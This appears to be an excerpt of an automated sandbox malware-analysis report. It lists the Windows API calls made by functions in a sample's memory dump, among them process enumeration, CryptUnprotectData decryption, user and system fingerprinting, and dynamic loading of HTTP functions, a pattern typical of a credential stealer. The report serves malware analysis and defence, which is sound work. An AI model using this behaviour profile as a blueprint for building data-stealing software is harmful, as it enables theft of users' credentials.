Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: e321d3df736008d709d4df6c57755a23dccf25c688bf9c162fdab33846fe2b41
Instruction ID: 2305959cf50c5a2d895f6728f8a87590a18a7356c375549c73b17ae1674d29f7
Opcode Fuzzy Hash: e321d3df736008d709d4df6c57755a23dccf25c688bf9c162fdab33846fe2b41
Instruction Fuzzy Hash: 86128431A01159DBDB15FB60DD94EED7339AF64310F4045A9A58B67088EF386F8ACFA0

Function 01019600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0101961E
Process32First.KERNEL32(01020ACA,00000128), ref: 01019632
Process32Next.KERNEL32(01020ACA,00000128), ref: 01019647
StrCmpCA.SHLWAPI(?,00000000), ref: 0101965C
CloseHandle.KERNEL32(01020ACA), ref: 0101967A

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 8c21bda65b2136d3f331d1dd2d9d9bdcbf700704a0b33a296442b135e26ff8d6
Instruction ID: 8f5b985f625afb2adf8130423f9ccc412bcd7cbc3a0f870f4b97fb0306b12783
Opcode Fuzzy Hash: 8c21bda65b2136d3f331d1dd2d9d9bdcbf700704a0b33a296442b135e26ff8d6
Instruction Fuzzy Hash: 35011EB9A40208EBDB24DFA5D958BEDBBF8FB4C704F004588A94A97244D7389B40CF60

Function 01017A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00A5DEE8,00000000,?,01020E10,00000000,?,00000000,00000000), ref: 01017A63
RtlAllocateHeap.NTDLL(00000000), ref: 01017A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00A5DEE8,00000000,?,01020E10,00000000,?,00000000,00000000,?), ref: 01017A7D
wsprintfA.USER32 ref: 01017AB7

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: dede425e5000fcb6eed3c3ce09f1ba1706aaf5782e380e1b5c17badca9b70b05
Instruction ID: 60b255aa283e5f5b6af9d10cd140220d59bcf1a9319ef33f91886b4a8c1ad5b6
Opcode Fuzzy Hash: dede425e5000fcb6eed3c3ce09f1ba1706aaf5782e380e1b5c17badca9b70b05
Instruction Fuzzy Hash: 54115EB1945228EBEB208B54DC49FAAB7B8FB44721F00439AFA1A93284D7785A40CF51

Function 01009B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 01009B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 01009BA3
LocalFree.KERNEL32(?), ref: 01009BD3

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 983b004c05807e275742ede73957984c19eb10b84ead25a4ed94aa17041b4f9c
Instruction ID: c6f049bb55f204065aac774091f8e4aa9b7532c5038de64f8ef08ad745bda96a
Opcode Fuzzy Hash: 983b004c05807e275742ede73957984c19eb10b84ead25a4ed94aa17041b4f9c
Instruction Fuzzy Hash: 1B11CCB8A00209EFDB05DF98D989AAE77F5FF88304F104598E91597394D774AE10CF61

Function 01017850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
RtlAllocateHeap.NTDLL(00000000), ref: 01017887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: b962a07a4b34884c8a1e9f358ddbb965f7580308d8580313bc260be9af2c5bea
Instruction ID: 8d7e40589b03863ab0aa2a6ac734e4c138d65d9a516581509c574bc702043ce1
Opcode Fuzzy Hash: b962a07a4b34884c8a1e9f358ddbb965f7580308d8580313bc260be9af2c5bea
Instruction Fuzzy Hash: 15F04FB5984208EBD714DF99D949BAEBBB8FB04711F10025AFA06A3684C77815048BA1

Function 01001160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0100116A
ExitProcess.KERNEL32 ref: 0100117E

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: c853c6aa83039a919c81aa2a35cd3db17cc0e28d33498657d9365f25001945a8
Instruction ID: 8fe325556ffe2037edbf470fa8b5ff1fe73a8db2323a5ca16e3d7e6f32afebf7
Opcode Fuzzy Hash: c853c6aa83039a919c81aa2a35cd3db17cc0e28d33498657d9365f25001945a8
Instruction Fuzzy Hash: 76D05E7894030CDBDB28DFE0E84D6DDBB78FB08311F000554E90763340EA30A481CBA5

Function 01019C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00A456D0), ref: 01019C2D
GetProcAddress.KERNEL32(74DD0000,00A45950), ref: 01019C45
GetProcAddress.KERNEL32(74DD0000,00A59640), ref: 01019C5E
GetProcAddress.KERNEL32(74DD0000,00A59670), ref: 01019C76
GetProcAddress.KERNEL32(74DD0000,00A59628), ref: 01019C8E
GetProcAddress.KERNEL32(74DD0000,00A596D0), ref: 01019CA7
GetProcAddress.KERNEL32(74DD0000,00A4BC20), ref: 01019CBF
GetProcAddress.KERNEL32(74DD0000,00A5D128), ref: 01019CD7
GetProcAddress.KERNEL32(74DD0000,00A5D2C0), ref: 01019CF0
GetProcAddress.KERNEL32(74DD0000,00A5D140), ref: 01019D08
GetProcAddress.KERNEL32(74DD0000,00A5D260), ref: 01019D20
GetProcAddress.KERNEL32(74DD0000,00A459D0), ref: 01019D39
GetProcAddress.KERNEL32(74DD0000,00A45970), ref: 01019D51
GetProcAddress.KERNEL32(74DD0000,00A459F0), ref: 01019D69
GetProcAddress.KERNEL32(74DD0000,00A45A10), ref: 01019D82
GetProcAddress.KERNEL32(74DD0000,00A5D230), ref: 01019D9A
GetProcAddress.KERNEL32(74DD0000,00A5D158), ref: 01019DB2
GetProcAddress.KERNEL32(74DD0000,00A4BC98), ref: 01019DCB
GetProcAddress.KERNEL32(74DD0000,00A45A50), ref: 01019DE3
GetProcAddress.KERNEL32(74DD0000,00A5D188), ref: 01019DFB
GetProcAddress.KERNEL32(74DD0000,00A5D170), ref: 01019E14
GetProcAddress.KERNEL32(74DD0000,00A5D1A0), ref: 01019E2C
GetProcAddress.KERNEL32(74DD0000,00A5D1B8), ref: 01019E44
GetProcAddress.KERNEL32(74DD0000,00A45A70), ref: 01019E5D
GetProcAddress.KERNEL32(74DD0000,00A5D350), ref: 01019E75
GetProcAddress.KERNEL32(74DD0000,00A5D3B0), ref: 01019E8D
GetProcAddress.KERNEL32(74DD0000,00A5D278), ref: 01019EA6
GetProcAddress.KERNEL32(74DD0000,00A5D368), ref: 01019EBE
GetProcAddress.KERNEL32(74DD0000,00A5D2F0), ref: 01019ED6
GetProcAddress.KERNEL32(74DD0000,00A5D3C8), ref: 01019EEF
GetProcAddress.KERNEL32(74DD0000,00A5D380), ref: 01019F07
GetProcAddress.KERNEL32(74DD0000,00A5D398), ref: 01019F1F
GetProcAddress.KERNEL32(74DD0000,00A5D2A8), ref: 01019F38
GetProcAddress.KERNEL32(74DD0000,00A5A660), ref: 01019F50
GetProcAddress.KERNEL32(74DD0000,00A5D0F8), ref: 01019F68
GetProcAddress.KERNEL32(74DD0000,00A5D218), ref: 01019F81
GetProcAddress.KERNEL32(74DD0000,00A456B0), ref: 01019F99
GetProcAddress.KERNEL32(74DD0000,00A5D1D0), ref: 01019FB1
GetProcAddress.KERNEL32(74DD0000,00A456F0), ref: 01019FCA
GetProcAddress.KERNEL32(74DD0000,00A5D248), ref: 01019FE2
GetProcAddress.KERNEL32(74DD0000,00A5D2D8), ref: 01019FFA
GetProcAddress.KERNEL32(74DD0000,00A45710), ref: 0101A013
GetProcAddress.KERNEL32(74DD0000,00A45D10), ref: 0101A02B
LoadLibraryA.KERNEL32(00A5D308,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A03D
LoadLibraryA.KERNEL32(00A5D1E8,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A04E
LoadLibraryA.KERNEL32(00A5D200,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A060
LoadLibraryA.KERNEL32(00A5D3E0,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A072
LoadLibraryA.KERNEL32(00A5D290,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A083
LoadLibraryA.KERNEL32(00A5D320,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A095
LoadLibraryA.KERNEL32(00A5D338,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A0A7
LoadLibraryA.KERNEL32(00A5D110,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A0B8
GetProcAddress.KERNEL32(75290000,00A45AB0), ref: 0101A0DA
GetProcAddress.KERNEL32(75290000,00A5D3F8), ref: 0101A0F2
GetProcAddress.KERNEL32(75290000,00A592C8), ref: 0101A10A
GetProcAddress.KERNEL32(75290000,00A5D4B8), ref: 0101A123
GetProcAddress.KERNEL32(75290000,00A45B90), ref: 0101A13B
GetProcAddress.KERNEL32(73440000,00A4B838), ref: 0101A160
GetProcAddress.KERNEL32(73440000,00A45C90), ref: 0101A179
GetProcAddress.KERNEL32(73440000,00A4B6D0), ref: 0101A191
GetProcAddress.KERNEL32(73440000,00A5D5A8), ref: 0101A1A9
GetProcAddress.KERNEL32(73440000,00A5D4D0), ref: 0101A1C2
GetProcAddress.KERNEL32(73440000,00A45BF0), ref: 0101A1DA
GetProcAddress.KERNEL32(73440000,00A45E10), ref: 0101A1F2
GetProcAddress.KERNEL32(73440000,00A5D410), ref: 0101A20B
GetProcAddress.KERNEL32(752C0000,00A45CB0), ref: 0101A22C
GetProcAddress.KERNEL32(752C0000,00A45B30), ref: 0101A244
GetProcAddress.KERNEL32(752C0000,00A5D428), ref: 0101A25D
GetProcAddress.KERNEL32(752C0000,00A5D488), ref: 0101A275
GetProcAddress.KERNEL32(752C0000,00A45D30), ref: 0101A28D
GetProcAddress.KERNEL32(74EC0000,00A4B928), ref: 0101A2B3
GetProcAddress.KERNEL32(74EC0000,00A4BA18), ref: 0101A2CB
GetProcAddress.KERNEL32(74EC0000,00A5D440), ref: 0101A2E3
GetProcAddress.KERNEL32(74EC0000,00A45AF0), ref: 0101A2FC
GetProcAddress.KERNEL32(74EC0000,00A45D70), ref: 0101A314
GetProcAddress.KERNEL32(74EC0000,00A4B720), ref: 0101A32C
GetProcAddress.KERNEL32(75BD0000,00A5D590), ref: 0101A352
GetProcAddress.KERNEL32(75BD0000,00A45DF0), ref: 0101A36A
GetProcAddress.KERNEL32(75BD0000,00A59218), ref: 0101A382
GetProcAddress.KERNEL32(75BD0000,00A5D458), ref: 0101A39B
GetProcAddress.KERNEL32(75BD0000,00A5D470), ref: 0101A3B3
GetProcAddress.KERNEL32(75BD0000,00A45DD0), ref: 0101A3CB
GetProcAddress.KERNEL32(75BD0000,00A45BB0), ref: 0101A3E4
GetProcAddress.KERNEL32(75BD0000,00A5D518), ref: 0101A3FC
GetProcAddress.KERNEL32(75BD0000,00A5D4A0), ref: 0101A414
GetProcAddress.KERNEL32(75A70000,00A45CD0), ref: 0101A436
GetProcAddress.KERNEL32(75A70000,00A5D4E8), ref: 0101A44E
GetProcAddress.KERNEL32(75A70000,00A5D500), ref: 0101A466
GetProcAddress.KERNEL32(75A70000,00A5D530), ref: 0101A47F
GetProcAddress.KERNEL32(75A70000,00A5D548), ref: 0101A497
GetProcAddress.KERNEL32(75450000,00A45B10), ref: 0101A4B8
GetProcAddress.KERNEL32(75450000,00A45D50), ref: 0101A4D1
GetProcAddress.KERNEL32(75DA0000,00A45D90), ref: 0101A4F2
GetProcAddress.KERNEL32(75DA0000,00A5D560), ref: 0101A50A
GetProcAddress.KERNEL32(6F070000,00A45DB0), ref: 0101A530
GetProcAddress.KERNEL32(6F070000,00A45CF0), ref: 0101A548
GetProcAddress.KERNEL32(6F070000,00A45E30), ref: 0101A560
GetProcAddress.KERNEL32(6F070000,00A5D578), ref: 0101A579
GetProcAddress.KERNEL32(6F070000,00A45BD0), ref: 0101A591
GetProcAddress.KERNEL32(6F070000,00A45E50), ref: 0101A5A9
GetProcAddress.KERNEL32(6F070000,00A45B50), ref: 0101A5C2
GetProcAddress.KERNEL32(6F070000,00A45AD0), ref: 0101A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0101A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0101A607
GetProcAddress.KERNEL32(75AF0000,00A5CFA8), ref: 0101A629
GetProcAddress.KERNEL32(75AF0000,00A59128), ref: 0101A641
GetProcAddress.KERNEL32(75AF0000,00A5CF00), ref: 0101A659
GetProcAddress.KERNEL32(75AF0000,00A5D068), ref: 0101A672
GetProcAddress.KERNEL32(75D90000,00A45B70), ref: 0101A693
GetProcAddress.KERNEL32(6F9D0000,00A5CEB8), ref: 0101A6B4
GetProcAddress.KERNEL32(6F9D0000,00A45C70), ref: 0101A6CD
GetProcAddress.KERNEL32(6F9D0000,00A5CF48), ref: 0101A6E5
GetProcAddress.KERNEL32(6F9D0000,00A5CF30), ref: 0101A6FD

Strings

InternetSetOptionA, xrefs: 0101A5E5
HttpQueryInfoA, xrefs: 0101A5FC

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
